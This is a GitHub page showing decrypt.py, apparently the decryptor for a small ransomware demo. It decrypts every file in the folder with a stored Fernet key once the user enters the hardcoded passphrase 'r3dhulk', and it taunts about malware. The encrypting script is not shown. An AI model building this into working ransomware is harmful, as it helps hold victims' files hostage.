-
Notifications
You must be signed in to change notification settings - Fork 11
/
decrypt.py
31 lines (25 loc) · 808 Bytes
/
decrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#1/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# find out files for encrypted
files = []
for file in os.listdir():
if file == "malware.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)
with open("thekey.key" , "rb") as key:
secretkey = key.read()
secretphrase = "r3dhulk"
user_phrase = input("Enter The Key for Decryption : ")
if user_phrase == secretphrase :
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_decrypted)
print("Your Files Are Decrypted. Never mess up with malware in future " )
else :
print("Sorry, wrong secretphrase")